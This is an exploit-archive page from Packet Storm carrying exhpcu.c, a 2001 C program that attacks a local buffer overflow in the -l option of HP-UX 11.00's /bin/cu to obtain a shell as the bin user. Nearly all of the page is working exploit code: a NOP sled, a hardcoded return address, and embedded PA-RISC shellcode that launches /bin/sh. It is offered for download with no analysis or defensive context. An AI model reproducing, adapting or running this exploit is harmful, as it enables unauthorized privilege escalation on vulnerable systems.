exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

exhpcu.c

exhpcu.c
Posted Jan 9, 2001
Authored by Zorgon

HP-UX v11.00 /bin/cu local buffer overflow exploit - Exploits the -l option. Provides a uid=bin shell.

tags | exploit, overflow, shell, local
systems | hpux
SHA-256 | 4eb65814f18d048afcb2595ba4538c73bdf060588b077aeaa9201aff06040d45

exhpcu.c

Change Mirror Download
/* Copyright (c) 2001 Zorgon                              
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* HP-UX /bin/cu exploit.
* Tested on HP-UX 11.00
* zorgon@antionline.org (http://www.nightbird.free.fr)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200 /* it works for me */

u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int
main(int argc , char **argv){
char buffer[LEN+8];
int i;
long retaddr = RET;
int offset = OFFSET;

if(argc>1) offset = atoi(argv[1]);
for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr + offset;

for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
*(buffer+i) = HPPA_NOP;

memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));

execl("/bin/cu","cu","-l",buffer,0);
}




Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close